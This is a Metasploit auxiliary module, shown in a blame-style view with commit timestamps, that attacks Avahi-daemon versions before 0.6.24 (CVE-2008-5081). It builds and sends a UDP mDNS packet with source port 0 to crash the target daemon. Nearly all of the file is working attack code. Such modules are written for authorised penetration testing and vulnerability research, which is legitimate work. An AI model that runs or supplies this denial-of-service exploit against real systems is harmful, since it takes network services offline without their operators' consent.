2008-12-19 21:13:58 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-12-19 21:13:58 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-12-19 21:13:58 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2009-07-17 20:36:40 +00:00
|
|
|
require 'racket'
|
2008-12-19 21:13:58 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2010-01-27 20:17:45 +00:00
|
|
|
include Msf::Exploit::Capture
|
2008-12-19 21:13:58 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Avahi < 0.6.24 Source Port 0 DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
Avahi-daemon versions prior to 0.6.24 can be DoS'd
|
|
|
|
with an mDNS packet with a source port of 0
|
|
|
|
},
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-12-19 21:13:58 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' => [
|
2010-02-23 17:29:52 +00:00
|
|
|
[ 'CVE', '2008-5081' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'OSVDB', '50929' ],
|
2010-02-23 17:29:52 +00:00
|
|
|
],
|
2008-12-19 21:13:58 +00:00
|
|
|
'DisclosureDate' => 'Nov 14 2008')
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptInt.new('RPORT', [true, 'The destination port', 5353])
|
|
|
|
])
|
2010-01-27 20:58:45 +00:00
|
|
|
|
|
|
|
deregister_options('FILTER','PCAPFILE')
|
2008-12-19 21:13:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
print_status("Sending to #{rhost}")
|
|
|
|
|
2010-01-27 20:17:45 +00:00
|
|
|
open_pcap
|
2008-12-19 21:13:58 +00:00
|
|
|
|
2009-07-17 20:36:40 +00:00
|
|
|
n = Racket::Racket.new
|
|
|
|
|
2009-12-29 23:32:50 +00:00
|
|
|
n.l3 = Racket::L3::IPv4.new
|
2009-07-17 20:36:40 +00:00
|
|
|
n.l3.src_ip = '0.0.0.0'
|
|
|
|
n.l3.dst_ip = rhost
|
|
|
|
n.l3.protocol = 17
|
|
|
|
n.l3.id = 0xbeef
|
|
|
|
n.l3.ttl = 128
|
|
|
|
n.l3.flags = 2
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-29 23:32:50 +00:00
|
|
|
n.l4 = Racket::L4::UDP.new
|
2009-07-17 20:36:40 +00:00
|
|
|
n.l4.src_port = 0
|
|
|
|
n.l4.dst_port = datastore['RPORT'].to_i
|
|
|
|
pkt = n.pack
|
2008-12-19 21:13:58 +00:00
|
|
|
|
2010-01-27 20:17:45 +00:00
|
|
|
capture_sendto(pkt, rhost)
|
2008-12-19 21:13:58 +00:00
|
|
|
|
2010-01-27 20:17:45 +00:00
|
|
|
close_pcap
|
2008-12-19 21:13:58 +00:00
|
|
|
|
|
|
|
print_status("Avahi should be down now")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|